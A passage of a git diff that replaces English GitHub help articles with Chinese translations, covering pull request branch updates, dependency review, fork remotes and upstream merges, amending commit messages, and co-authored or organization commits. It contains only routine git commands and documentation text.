![Drop-down menu showing merge and rebase options](/assets/images/help/pull_requests/pull-request-update-branch-rebase-option.png) -{% else %} -1. In the merge section near the bottom of the page, click **Update branch** to perform a traditional merge. - ![Button to update branch](/assets/images/help/pull_requests/pull-request-update-branch.png) -{% endif %} +{% ifversion fpt or ghec or ghes > 3.4 or ghae-issue-6069 %} +1. 在页面底部附近的合并部分中,可以: + - 单击“更新分支”执行传统合并。 + ![用于更新分支的按钮](/assets/images/help/pull_requests/pull-request-update-branch-with-dropdown.png) + - 单击“更新分支”下拉菜单,单击“使用变基更新”,然后单击“变基分支”以通过对基础分支变基来更新 。 + ![显示合并和变基选项的下拉菜单](/assets/images/help/pull_requests/pull-request-update-branch-rebase-option.png) {% else %} +1. 在页面底部附近的合并部分中,单击“更新分支”执行传统合并。 + ![用于更新分支的按钮](/assets/images/help/pull_requests/pull-request-update-branch.png) {% endif %} -## Further reading +## 延伸阅读 -- "[About pull requests](/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/about-pull-requests)" -- "[Changing the stage of a pull request](/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/changing-the-stage-of-a-pull-request)" -- "[Committing changes to a pull request branch created from a fork](/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/committing-changes-to-a-pull-request-branch-created-from-a-fork)" +- [关于拉取请求](/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/about-pull-requests) +- [更改拉取请求的阶段](/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/changing-the-stage-of-a-pull-request) +- [提交对从分支创建的拉取请求分支的更改](/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/committing-changes-to-a-pull-request-branch-created-from-a-fork) diff --git a/translations/zh-CN/content/pull-requests/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/reviewing-dependency-changes-in-a-pull-request.md b/translations/zh-CN/content/pull-requests/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/reviewing-dependency-changes-in-a-pull-request.md index ebab821a02..758a8d41ba 100644 --- a/translations/zh-CN/content/pull-requests/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/reviewing-dependency-changes-in-a-pull-request.md +++ b/translations/zh-CN/content/pull-requests/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/reviewing-dependency-changes-in-a-pull-request.md @@ -1,6 +1,6 @@ --- -title: Reviewing dependency changes in a pull request -intro: 'If a pull request contains changes to dependencies, you can view a summary of what has changed and whether there are known vulnerabilities in any of the dependencies.' +title: 审查拉取请求中的依赖项更改 +intro: 如果拉取请求包含对依赖项的更改,您可以查看已更改内容摘要以及任何依赖项中是否存在已知漏洞。 product: '{% data reusables.gated-features.dependency-review %}' versions: fpt: '*' @@ -19,70 +19,71 @@ redirect_from: - /github/collaborating-with-issues-and-pull-requests/reviewing-dependency-changes-in-a-pull-request - /github/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/reviewing-dependency-changes-in-a-pull-request shortTitle: Review dependency changes +ms.openlocfilehash: 34cefbae8b7ccfd32773a47de2509a6eccc7a799 +ms.sourcegitcommit: f638d569cd4f0dd6d0fb967818267992c0499110 +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 10/25/2022 +ms.locfileid: '148106603' --- -## About dependency review +## 关于依赖项评审 {% data reusables.dependency-review.feature-overview %} -{% ifversion ghec %}Before you can use dependency review in a private repository, you must enable the dependency graph. For more information, see "[Exploring the dependencies of a repository](/code-security/supply-chain-security/understanding-your-software-supply-chain/exploring-the-dependencies-of-a-repository#enabling-and-disabling-the-dependency-graph-for-a-private-repository)."{% endif %} +{% ifversion ghec %}在私有存储库中使用依赖项审查之前,必须启用依赖项关系图。 有关详细信息,请参阅“[探索存储库的依赖项](/code-security/supply-chain-security/understanding-your-software-supply-chain/exploring-the-dependencies-of-a-repository#enabling-and-disabling-the-dependency-graph-for-a-private-repository)”。{% endif %} -{% ifversion ghes %} Before you can use dependency review, you must enable the dependency graph and connect {% data variables.location.product_location %} to {% data variables.product.prodname_dotcom_the_website %}. For more information, see "[Enabling alerts for vulnerable dependencies on {% data variables.product.prodname_ghe_server %}](/admin/configuration/managing-connections-between-github-enterprise-server-and-github-enterprise-cloud/enabling-alerts-for-vulnerable-dependencies-on-github-enterprise-server)."{% endif %} +{% ifversion ghes %} 在使用依赖项审查之前,必须启用依赖项关系图并将 {% data variables.location.product_location %} 连接到 {% data variables.product.prodname_dotcom_the_website %}。 有关详细信息,请参阅“[为 {% data variables.product.prodname_ghe_server %} 上的易受攻击依赖项启用警报](/admin/configuration/managing-connections-between-github-enterprise-server-and-github-enterprise-cloud/enabling-alerts-for-vulnerable-dependencies-on-github-enterprise-server)”。{% endif %} -Dependency review allows you to "shift left". You can use the provided predictive information to catch vulnerable dependencies before they hit production. For more information, see "[About dependency review](/code-security/supply-chain-security/about-dependency-review)." +依赖关系审核允许您“左移”。 您可以使用所提供的预测信息在易受攻击的依赖项进入生产之前捕获它们。 有关详细信息,请参阅“[关于依赖项审查](/code-security/supply-chain-security/about-dependency-review)”。 {% ifversion fpt or ghec or ghes > 3.5 or ghae > 3.5 %} -You can use the {% data variables.dependency-review.action_name %} to help enforce dependency reviews on pull requests in your repository. {% data reusables.dependency-review.dependency-review-action-overview %} +可使用 {% data variables.product.prodname_dependency_review_action %} 来帮助对存储库中的拉取请求强制实施依赖项审查。 {% data reusables.dependency-review.dependency-review-action-overview %} -{% ifversion dependency-review-action-configuration %} -You can configure the {% data variables.dependency-review.action_name %} to better suit your needs by specifying the type of dependency vulnerability you wish to catch. For more information, see "[Configuring dependency review](/code-security/supply-chain-security/understanding-your-software-supply-chain/configuring-dependency-review#configuring-the-dependency-review-github-action)." -{% endif %} +{% ifversion dependency-review-action-configuration %} 可通过指定要捕获的依赖项漏洞类型,配置 {% data variables.product.prodname_dependency_review_action %} 来更好地满足需求。 有关详细信息,请参阅“[配置依赖项审查](/code-security/supply-chain-security/understanding-your-software-supply-chain/configuring-dependency-review#configuring-the-dependency-review-github-action)”。 {% endif %} {% endif %} -## Reviewing dependencies in a pull request +## 审查拉取请求中的依赖项 -{% data reusables.repositories.sidebar-pr %} -{% data reusables.repositories.choose-pr-review %} -{% data reusables.repositories.changed-files %} +{% data reusables.repositories.sidebar-pr %} {% data reusables.repositories.choose-pr-review %} {% data reusables.repositories.changed-files %} -1. If the pull request contains many files, use the **File filter** drop-down menu to collapse all files that don't record dependencies. This will make it easier to focus your review on the dependency changes. +1. 如果拉取请求包含许多文件,请使用“文件筛选器”下拉菜单折叠所有不记录依赖项的文件。 这将有助于您将审查的重点放在依赖项更改上。 - ![The file filter menu](/assets/images/help/pull_requests/file-filter-menu-json.png) - The dependency review provides a clearer view of what has changed in large lock files, where the source diff is not rendered by default. + ![文件筛选器菜单](/assets/images/help/pull_requests/file-filter-menu-json.png) 依赖项审查提供关于大型锁定文件中已更改内容的更清晰视图,源差异在默认情况下不会呈现。 {% note %} - **Note:** Dependency review rich diffs are not available for committed static JavaScript files like `jquery.js`. + 注意:依赖项审查多差异不适用于已提交的静态 JavaScript 文件,如 `jquery.js`。 {% endnote %} -1. On the right of the header for a manifest or lock file, display the dependency review by clicking the **{% octicon "file" aria-label="The rich diff icon" %}** rich diff button. +1. 在清单或锁定文件标头的右侧,单击 {% octicon "file" aria-label="The rich diff icon" %} 多差异按钮以显示依赖项审查。 - ![The rich diff button](/assets/images/help/pull_requests/dependency-review-rich-diff.png) + ![多差异按钮](/assets/images/help/pull_requests/dependency-review-rich-diff.png) -2. Check the dependencies listed in the dependency review. +2. 检查依赖项审查中列出的依赖项。 - ![Vulnerability warnings in a dependency review](/assets/images/help/pull_requests/dependency-review-vulnerability.png) + ![依赖项审查中的漏洞警告](/assets/images/help/pull_requests/dependency-review-vulnerability.png) - Any added or changed dependencies that have vulnerabilities are listed first, ordered by severity and then by dependency name. This means that the highest severity dependencies are always at the top of a dependency review. Other dependencies are listed alphabetically by dependency name. + 任何已添加或更改的有漏洞依赖项先按严重程度排序,然后按依赖项名称排序。 这意味着严重程度最高的依赖项始终处于依赖项审查的顶部。 其他依赖项按其名称的字母顺序排列。 - The icon beside each dependency indicates whether the dependency has been added ({% octicon "diff-added" aria-label="Dependency added icon" %}), updated ({% octicon "diff-modified" aria-label="Dependency modified icon" %}), or removed ({% octicon "diff-removed" aria-label="Dependency removed icon" %}) in this pull request. + 每个依赖项旁边的图标指示该依赖项在此拉取请求中是否已添加 ({% octicon "diff-added" aria-label="Dependency added icon" %})、更新 ({% octicon "diff-modified" aria-label="Dependency modified icon" %}) 或删除 ({% octicon "diff-removed" aria-label="Dependency removed icon" %})。 - Other information includes: + 其他信息包括: - * The version, or version range, of the new, updated, or deleted dependency. - * For a specific version of a dependency: - * The age of that release of the dependency. - * The number of projects that are dependent on this software. This information is taken from the dependency graph. Checking the number of dependents can help you avoid accidentally adding the wrong dependency. - * The license used by this dependency, if this information is available. This is useful if you want to avoid code with certain licenses being used in your project. + * 新、更新或删除的依赖项的版本或版本范围。 + * 对于依赖项的特定版本: + * 依赖项的发布时间。 + * 依赖此软件的项目数量。 此信息取自依赖关系图。 检查依赖项的数量可以帮助您避免意外添加错误的依赖项。 + * 此依赖项使用的许可(如果此信息可用)。 如果要避免在项目中使用具有某些许可的代码,此选项非常有用。 - Where a dependency has a known vulnerability, the warning message includes: + 如果依赖项具有已知漏洞,则警告消息包括: - * A brief description of the vulnerability. - * A Common Vulnerabilities and Exposures (CVE) or {% data variables.product.prodname_security_advisories %} (GHSA) identification number. You can click this ID to find out more about the vulnerability. - * The severity of the vulnerability. - * The version of the dependency in which the vulnerability was fixed. If you are reviewing a pull request for someone, you might ask the contributor to update the dependency to the patched version, or a later release. + * 漏洞的简要说明。 + * 通用漏洞披露 (CVE) 或 {% data variables.product.prodname_security_advisories %} (GHSA) 标识号。 您可以单击此 ID 以查找有关漏洞的更多信息。 + * 漏洞的严重程度。 + * 修复漏洞的依赖项版本。 审查某人的拉取请求时,您可以要求参与者将依赖项更新到修补版本或更新版本。 {% data reusables.repositories.return-to-source-diff %} diff --git a/translations/zh-CN/content/pull-requests/collaborating-with-pull-requests/working-with-forks/configuring-a-remote-for-a-fork.md b/translations/zh-CN/content/pull-requests/collaborating-with-pull-requests/working-with-forks/configuring-a-remote-for-a-fork.md new file mode 100644 index 0000000000..9e1759368f --- /dev/null +++ b/translations/zh-CN/content/pull-requests/collaborating-with-pull-requests/working-with-forks/configuring-a-remote-for-a-fork.md @@ -0,0 +1,42 @@ +--- +title: 为复刻配置远程仓库 +intro: 必须在 Git 中配置指向上游存储库的远程存储库,才能[将你在分支中所做的更改同步](/pull-requests/collaborating-with-pull-requests/working-with-forks/syncing-a-fork)到原始存储库。 这也允许您将在原始仓库中所做的更改同步到复刻中。 +redirect_from: +- /github/collaborating-with-issues-and-pull-requests/working-with-forks/configuring-a-remote-for-a-fork +- /articles/configuring-a-remote-for-a-fork +- /github/collaborating-with-issues-and-pull-requests/configuring-a-remote-for-a-fork +- /github/collaborating-with-pull-requests/working-with-forks/configuring-a-remote-for-a-fork +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +topics: +- Pull requests +shortTitle: Configure a remote +ms.openlocfilehash: d474b56a9b1881d9511ccf9e239bb54e26967784 +ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 09/10/2022 +ms.locfileid: "145130065" +--- +{% data reusables.command_line.open_the_multi_os_terminal %} +2. 列出当前为复刻配置的远程仓库。 + ```shell + $ git remote -v + > origin https://{% data variables.command_line.codeblock %}/YOUR_USERNAME/YOUR_FORK.git (fetch) + > origin https://{% data variables.command_line.codeblock %}/YOUR_USERNAME/YOUR_FORK.git (push) + ``` +3. 指定将与分支同步的新远程上游存储库。 + ```shell + $ git remote add upstream https://{% data variables.command_line.codeblock %}/ORIGINAL_OWNER/ORIGINAL_REPOSITORY.git + ``` +4. 验证为复刻指定的新上游仓库。 + ```shell + $ git remote -v + > origin https://{% data variables.command_line.codeblock %}/YOUR_USERNAME/YOUR_FORK.git (fetch) + > origin https://{% data variables.command_line.codeblock %}/YOUR_USERNAME/YOUR_FORK.git (push) + > upstream https://{% data variables.command_line.codeblock %}/ORIGINAL_OWNER/ORIGINAL_REPOSITORY.git (fetch) + > upstream https://{% data variables.command_line.codeblock %}/ORIGINAL_OWNER/ORIGINAL_REPOSITORY.git (push) + ``` diff --git a/translations/zh-CN/content/pull-requests/collaborating-with-pull-requests/working-with-forks/merging-an-upstream-repository-into-your-fork.md b/translations/zh-CN/content/pull-requests/collaborating-with-pull-requests/working-with-forks/merging-an-upstream-repository-into-your-fork.md new file mode 100644 index 0000000000..08d648426a --- /dev/null +++ b/translations/zh-CN/content/pull-requests/collaborating-with-pull-requests/working-with-forks/merging-an-upstream-repository-into-your-fork.md @@ -0,0 +1,40 @@ +--- +title: 将上游仓库合并到复刻 +intro: If you don't have push (write) access to an upstream repository, then you can pull commits from that repository into your own fork. +redirect_from: +- /github/collaborating-with-issues-and-pull-requests/working-with-forks/merging-an-upstream-repository-into-your-fork +- /articles/merging-an-upstream-repository-into-your-fork +- /github/collaborating-with-issues-and-pull-requests/merging-an-upstream-repository-into-your-fork +- /github/collaborating-with-pull-requests/working-with-forks/merging-an-upstream-repository-into-your-fork +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +topics: +- Pull requests +shortTitle: Merge an upstream repo +ms.openlocfilehash: 7622e4865efc444a253cbbedf04ede0e47535967 +ms.sourcegitcommit: 67064b14c9d4d18819db8f6398358b77a1c8002a +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 05/17/2022 +ms.locfileid: "145130066" +--- +{% data reusables.command_line.open_the_multi_os_terminal %} +2. 将当前工作目录更改为您的本地仓库。 +3. 检出要合并到其中的分支。 通常,您会合并到默认分支中。 + ```shell + $ git checkout DEFAULT_BRANCH_NAME + ``` +4. 从上游仓库拉取所需的分支。 此方法将保留提交历史记录而不做修改。 + ```shell + $ git pull https://{% data variables.command_line.codeblock %}/ORIGINAL_OWNER/ORIGINAL_REPOSITORY.git BRANCH_NAME + ``` +5. 如有冲突,请解决。 有关详细信息,请参阅“[解决合并冲突](/github/collaborating-with-pull-requests/addressing-merge-conflicts)”。 +6. 提交合并。 +7. 检查更改,确认对更改满意。 +8. 将合并推送到 GitHub 仓库。 + ```shell + $ git push origin DEFAULT_BRANCH_NAME + ``` diff --git a/translations/zh-CN/content/pull-requests/committing-changes-to-your-project/creating-and-editing-commits/changing-a-commit-message.md b/translations/zh-CN/content/pull-requests/committing-changes-to-your-project/creating-and-editing-commits/changing-a-commit-message.md index 4cbd1eee7d..eae99858d1 100644 --- a/translations/zh-CN/content/pull-requests/committing-changes-to-your-project/creating-and-editing-commits/changing-a-commit-message.md +++ b/translations/zh-CN/content/pull-requests/committing-changes-to-your-project/creating-and-editing-commits/changing-a-commit-message.md @@ -1,73 +1,78 @@ --- -title: Changing a commit message +title: 更改提交消息 redirect_from: - /articles/can-i-delete-a-commit-message - /articles/changing-a-commit-message - /github/committing-changes-to-your-project/changing-a-commit-message - /github/committing-changes-to-your-project/creating-and-editing-commits/changing-a-commit-message -intro: 'If a commit message contains unclear, incorrect, or sensitive information, you can amend it locally and push a new commit with a new message to {% data variables.product.product_name %}. You can also change a commit message to add missing information.' +intro: '如果提交消息中包含不明确、不正确或敏感的信息,您可以在本地修改它,然后将含有新消息的新提交推送到 {% data variables.product.product_name %}。 您还可以更改提交消息以添加遗漏的信息。' versions: fpt: '*' ghes: '*' ghae: '*' ghec: '*' +ms.openlocfilehash: fa4966da0fe443e6635b43fc9b3b11108d57cf6e +ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 09/10/2022 +ms.locfileid: '145129461' --- -## Rewriting the most recent commit message +## 重写最近的提交消息 -You can change the most recent commit message using the `git commit --amend` command. +可以使用 `git commit --amend` 命令更改最新的提交消息。 -In Git, the text of the commit message is part of the commit. Changing the commit message will change the commit ID--i.e., the SHA1 checksum that names the commit. Effectively, you are creating a new commit that replaces the old one. +在 Git 中,提交消息的文本是提交的一部分。 更改提交消息将更改提交 ID - 即用于命名提交的 SHA1 校验和。 实际上,您是创建一个新提交以替换旧提交。 -## Commit has not been pushed online +## 提交尚未推送上线 -If the commit only exists in your local repository and has not been pushed to {% data variables.location.product_location %}, you can amend the commit message with the `git commit --amend` command. +如果提交仅存在于你的本地存储库中,尚未推送到 {% data variables.product.product_location %},则可使用 `git commit --amend` 命令修改提交消息。 -1. On the command line, navigate to the repository that contains the commit you want to amend. -2. Type `git commit --amend` and press **Enter**. -3. In your text editor, edit the commit message, and save the commit. - - You can add a co-author by adding a trailer to the commit. For more information, see "[Creating a commit with multiple authors](/pull-requests/committing-changes-to-your-project/creating-and-editing-commits/creating-a-commit-with-multiple-authors)." +1. 在命令行上,导航到包含要修改的提交的仓库。 +2. 键入 `git commit --amend`,然后按“Enter”。 +3. 在文本编辑器中编辑提交消息,然后保存该提交。 + - 通过在提交中添加尾行可添加合作作者。 有关详细信息,请参阅“[创建具有多个作者的提交](/pull-requests/committing-changes-to-your-project/creating-and-editing-commits/creating-a-commit-with-multiple-authors)”。 {% ifversion fpt or ghec %} - - You can create commits on behalf of your organization by adding a trailer to the commit. For more information, see "[Creating a commit on behalf of an organization](/pull-requests/committing-changes-to-your-project/creating-and-editing-commits/creating-a-commit-on-behalf-of-an-organization)" -{% endif %} + - 通过在提交中添加尾行可创建代表组织的提交。 有关详细信息,请参阅“[代表组织创建提交](/pull-requests/committing-changes-to-your-project/creating-and-editing-commits/creating-a-commit-on-behalf-of-an-organization)”{% endif %} -The new commit and message will appear on {% data variables.location.product_location %} the next time you push. +在下次推送时,新的提交和消息将显示在 {% data variables.product.product_location %} 上。 {% tip %} -You can change the default text editor for Git by changing the `core.editor` setting. For more information, see "[Basic Client Configuration](https://git-scm.com/book/en/Customizing-Git-Git-Configuration#_basic_client_configuration)" in the Git manual. +通过更改 `core.editor` 设置可更改 Git 的默认文本编辑器。 有关详细信息,请参阅 Git 手册中的“[基本客户端配置](https://git-scm.com/book/en/Customizing-Git-Git-Configuration#_basic_client_configuration)”。 {% endtip %} -## Amending older or multiple commit messages +## 修改旧提交或多个提交的消息 -If you have already pushed the commit to {% data variables.location.product_location %}, you will have to force push a commit with an amended message. +如果您已将提交推送到 {% data variables.product.product_location %},则必须强制推送含有修正消息的提交。 {% warning %} -We strongly discourage force pushing, since this changes the history of your repository. If you force push, people who have already cloned your repository will have to manually fix their local history. For more information, see "[Recovering from upstream rebase](https://git-scm.com/docs/git-rebase#_recovering_from_upstream_rebase)" in the Git manual. +我们很不提倡强制推送,因为这会改变仓库的历史记录。 如果强制推送,已克隆仓库的人员必须手动修复其本地历史记录。 有关详细信息,请参阅 Git 手册中的“[从上游变基恢复](https://git-scm.com/docs/git-rebase#_recovering_from_upstream_rebase)”。 {% endwarning %} -**Changing the message of the most recently pushed commit** +**更改最近推送提交的消息** -1. Follow the [steps above](/articles/changing-a-commit-message#commit-has-not-been-pushed-online) to amend the commit message. -2. Use the `push --force-with-lease` command to force push over the old commit. +1. 按照[上述步骤](/articles/changing-a-commit-message#commit-has-not-been-pushed-online)修改提交消息。 +2. 使用 `push --force-with-lease` 命令强制推送旧提交。 ```shell - $ git push --force-with-lease origin EXAMPLE-BRANCH + $ git push --force-with-lease origin example-branch ``` -**Changing the message of older or multiple commit messages** +**更改旧提交或多个提交的消息** -If you need to amend the message for multiple commits or an older commit, you can use interactive rebase, then force push to change the commit history. +如果需要修改多个提交或旧提交的消息,您可以使用交互式变基,然后强制推送以更改提交历史记录。 -1. On the command line, navigate to the repository that contains the commit you want to amend. -2. Use the `git rebase -i HEAD~n` command to display a list of the last `n` commits in your default text editor. +1. 在命令行上,导航到包含要修改的提交的仓库。 +2. 使用 `git rebase -i HEAD~n` 命令在默认文本编辑器中显示最后一次 `n` 提交的列表。 ```shell # Displays a list of the last 3 commits on the current branch $ git rebase -i HEAD~3 ``` - The list will look similar to the following: + 此列表将类似于以下内容: ```shell pick e499d89 Delete CNAME @@ -92,33 +97,33 @@ If you need to amend the message for multiple commits or an older commit, you ca # # Note that empty commits are commented out ``` -3. Replace `pick` with `reword` before each commit message you want to change. +3. 在要更改的每个提交消息的前面,将 `pick` 替换为 `reword`。 ```shell pick e499d89 Delete CNAME reword 0c39034 Better README reword f7fde4a Change the commit message but push the same commit. ``` -4. Save and close the commit list file. -5. In each resulting commit file, type the new commit message, save the file, and close it. -6. When you're ready to push your changes to GitHub, use the push --force command to force push over the old commit. +4. 保存并关闭提交列表文件。 +5. 在每个生成的提交文件中,键入新的提交消息,保存文件,然后关闭它。 +6. 准备好将更改推送到 GitHub 时,请使用 push - force 命令强制推送旧提交。 ```shell -$ git push --force origin EXAMPLE-BRANCH +$ git push --force origin example-branch ``` -For more information on interactive rebase, see "[Interactive mode](https://git-scm.com/docs/git-rebase#_interactive_mode)" in the Git manual. +有关交互式变基的详细信息,请参阅 Git 手册中的“[交互式模式](https://git-scm.com/docs/git-rebase#_interactive_mode)”。 {% tip %} -As before, amending the commit message will result in a new commit with a new ID. However, in this case, every commit that follows the amended commit will also get a new ID because each commit also contains the id of its parent. +如前文所述,修改提交消息会生成含有新 ID 的新提交。 但是,在这种情况下,该修改提交的每个后续提交也会获得一个新 ID,因为每个提交也包含其父提交的 ID。 {% endtip %} {% warning %} -If you have included sensitive information in a commit message, force pushing a commit with an amended commit may not remove the original commit from {% data variables.product.product_name %}. The old commit will not be a part of a subsequent clone; however, it may still be cached on {% data variables.product.product_name %} and accessible via the commit ID. You must contact {% data variables.contact.contact_support %} with the old commit ID to have it purged from the remote repository. +如果您的提交消息中包含敏感信息,则强制推送修改后的提交可能不会导致从 {% data variables.product.product_name %} 中删除原提交。 旧提交不会成为后续克隆的一部分;但是,它可能仍然缓存在 {% data variables.product.product_name %} 上,并且可通过提交 ID 访问。 您必须联系 {% data variables.contact.contact_support %} 并提供旧提交 ID,以便从远程仓库中清除它。 {% endwarning %} -## Further reading +## 延伸阅读 -* "[Signing commits](/articles/signing-commits)" +* [对提交签名](/articles/signing-commits) diff --git a/translations/zh-CN/content/pull-requests/committing-changes-to-your-project/creating-and-editing-commits/creating-a-commit-on-behalf-of-an-organization.md b/translations/zh-CN/content/pull-requests/committing-changes-to-your-project/creating-and-editing-commits/creating-a-commit-on-behalf-of-an-organization.md index e4cf27cb8f..88d2e5c2ad 100644 --- a/translations/zh-CN/content/pull-requests/committing-changes-to-your-project/creating-and-editing-commits/creating-a-commit-on-behalf-of-an-organization.md +++ b/translations/zh-CN/content/pull-requests/committing-changes-to-your-project/creating-and-editing-commits/creating-a-commit-on-behalf-of-an-organization.md @@ -1,6 +1,6 @@ --- -title: Creating a commit on behalf of an organization -intro: 'You can create commits on behalf of an organization by adding a trailer to the commit''s message. Commits attributed to an organization include an `on-behalf-of` badge on {% data variables.product.product_name %}.' +title: 代表组织创建提交 +intro: '通过在提交消息中添加尾行可代表组织创建提交。 归属于组织的提交应包含 {% data variables.product.product_name %} 上的 `on-behalf-of` 徽章。' redirect_from: - /articles/creating-a-commit-on-behalf-of-an-organization - /github/committing-changes-to-your-project/creating-a-commit-on-behalf-of-an-organization @@ -9,27 +9,33 @@ versions: fpt: '*' ghec: '*' shortTitle: On behalf of an organization +ms.openlocfilehash: 31b8a6b8d1824fa960fb32fa5fd7b4c28625037c +ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 09/10/2022 +ms.locfileid: '145129453' --- {% note %} -**Note:** The ability to create a commit on behalf of an organization is currently in public beta and is subject to change. +**注意:** 代表组织创建提交的功能目前为公开 beta 版本,可能会有所更改。 {% endnote %} -To create commits on behalf of an organization: +要代表组织创建提交: -- you must be a member of the organization indicated in the trailer -- you must sign the commit -- your commit email and the organization email must be in a domain verified by the organization -- your commit message must end with the commit trailer `on-behalf-of: @org ` - - `org` is the organization's login - - `name@organization.com` is in the organization's domain +- 您必须是尾行所述组织的成员 +- 您必须对提交签名 +- 您的提交电子邮件地址和组织电子邮件地址必须位于经组织验证的域中 +- 提交消息必须以提交尾部 `on-behalf-of: @org ` 结束 + - `org` 是组织的登录名 + - `name@organization.com` 在组织的域中 -Organizations can use the `name@organization.com` email as a public point of contact for open source efforts. +组织可以将 `name@organization.com` 电子邮件用作开放源代码工作的公共联络点。 -## Creating commits with an `on-behalf-of` badge on the command line +## 在命令行上使用 `on-behalf-of` 徽章创建提交 -1. Type your commit message and a short, meaningful description of your changes. After your commit description, instead of a closing quotation, add two empty lines. +1. 输入提交消息以及简短、有意义的更改描述。 在提交描述后,不要加上右引号,而是添加两个空行。 ```shell $ git commit -m "Refactor usability tests. > @@ -37,38 +43,38 @@ Organizations can use the `name@organization.com` email as a public point of con ``` {% tip %} - **Tip:** If you're using a text editor on the command line to type your commit message, ensure there are two newlines between the end of your commit description and the `on-behalf-of:` commit trailer. + **提示:** 如果在命令行上使用文本编辑器来键入提交消息,请确保在提交描述的末尾和 `on-behalf-of:` 提交尾部之间有两个换行符。 {% endtip %} -2. On the next line of the commit message, type `on-behalf-of: @org `, then a closing quotation mark. +2. 在提交消息的下一行,键入 `on-behalf-of: @org `,然后是右引号。 ```shell $ git commit -m "Refactor usability tests. > > - on-behalf-of: @ORG NAME@ORGANIZATION.COM" + on-behalf-of: @org <name@organization.com>" ``` -The new commit, message, and badge will appear on {% data variables.location.product_location %} the next time you push. For more information, see "[Pushing changes to a remote repository](/github/getting-started-with-github/pushing-commits-to-a-remote-repository/)." +在下次推送时,新的提交、消息和徽章将显示在 {% data variables.product.product_location %} 上。 有关详细信息,请参阅“[将更改推送到远程存储库](/github/getting-started-with-github/pushing-commits-to-a-remote-repository/)”。 -## Creating commits with an `on-behalf-of` badge on {% data variables.product.product_name %} +## 在 {% data variables.product.product_name %} 上使用 `on-behalf-of` 徽章创建提交 -After you've made changes in a file using the web editor on {% data variables.product.product_name %}, you can create a commit on behalf of your organization by adding an `on-behalf-of:` trailer to the commit's message. +在 {% data variables.product.product_name %} 上使用 Web 编辑器对文件进行更改后,你可以通过将 `on-behalf-of:` 尾部添加到提交的消息中来代表组织创建提交。 -1. After making your changes, at the bottom of the page, type a short, meaningful commit message that describes the changes you made. - ![Commit message for your change](/assets/images/help/repository/write-commit-message-quick-pull.png) +1. 进行更改后,在页面底部键入简短、有意义的提交消息,以描述您所做的更改。 + ![更改的提交消息](/assets/images/help/repository/write-commit-message-quick-pull.png) -2. In the text box below your commit message, add `on-behalf-of: @org `. +2. 在提交消息下方的文本框中,添加 `on-behalf-of: @org `。 - ![Commit message on-behalf-of trailer example in second commit message text box](/assets/images/help/repository/write-commit-message-on-behalf-of-trailer.png) -4. Click **Commit changes** or **Propose changes**. + ![第二个提交消息文本框中的提交消息代表尾行示例](/assets/images/help/repository/write-commit-message-on-behalf-of-trailer.png) +4. 单击“提交更改”或“建议更改” 。 -The new commit, message, and badge will appear on {% data variables.location.product_location %}. +新的提交、消息和徽章将显示在 {% data variables.product.product_location %} 上。 -## Further reading +## 延伸阅读 -- "[Viewing contributions on your profile](/articles/viewing-contributions-on-your-profile)" -- "[Why are my contributions not showing up on my profile?](/articles/why-are-my-contributions-not-showing-up-on-my-profile)" -- "[Viewing a project’s contributors](/articles/viewing-a-projects-contributors)" -- "[Changing a commit message](/pull-requests/committing-changes-to-your-project/creating-and-editing-commits/changing-a-commit-message)" +- [在个人资料中查看贡献](/articles/viewing-contributions-on-your-profile) +- [为什么我的贡献未显示在我的个人资料上?](/articles/why-are-my-contributions-not-showing-up-on-my-profile) +- [查看项目的参与者](/articles/viewing-a-projects-contributors) +- [更改提交消息](/pull-requests/committing-changes-to-your-project/creating-and-editing-commits/changing-a-commit-message) diff --git a/translations/zh-CN/content/pull-requests/committing-changes-to-your-project/creating-and-editing-commits/creating-a-commit-with-multiple-authors.md b/translations/zh-CN/content/pull-requests/committing-changes-to-your-project/creating-and-editing-commits/creating-a-commit-with-multiple-authors.md index a1ac806368..7581427bb9 100644 --- a/translations/zh-CN/content/pull-requests/committing-changes-to-your-project/creating-and-editing-commits/creating-a-commit-with-multiple-authors.md +++ b/translations/zh-CN/content/pull-requests/committing-changes-to-your-project/creating-and-editing-commits/creating-a-commit-with-multiple-authors.md @@ -1,6 +1,6 @@ --- -title: Creating a commit with multiple authors -intro: 'You can attribute a commit to more than one author by adding one or more `Co-authored-by` trailers to the commit''s message. Co-authored commits are visible on {% data variables.product.product_name %}{% ifversion ghes or ghae %} and can be included in the profile contributions graph and the repository''s statistics{% endif %}.' +title: 创建有多个作者的提交 +intro: '通过在提交消息中添加一个或多个 `Co-authored-by` 尾行,可将提交归属于多个作者。 合作提交在 {% data variables.product.product_name %}{% ifversion ghes or ghae %} 上可见,并且可包含在个人资料贡献图和存储库统计信息中{% endif %}。' redirect_from: - /articles/creating-a-commit-with-multiple-authors - /github/committing-changes-to-your-project/creating-a-commit-with-multiple-authors @@ -11,80 +11,86 @@ versions: ghae: '*' ghec: '*' shortTitle: With multiple authors +ms.openlocfilehash: 4aa5b707e75480ead830e680151064db5f278557 +ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 09/10/2022 +ms.locfileid: '145129450' --- -## Required co-author information +## 必需的合作作者信息 -Before you can add a co-author to a commit, you must know the appropriate email to use for each co-author. 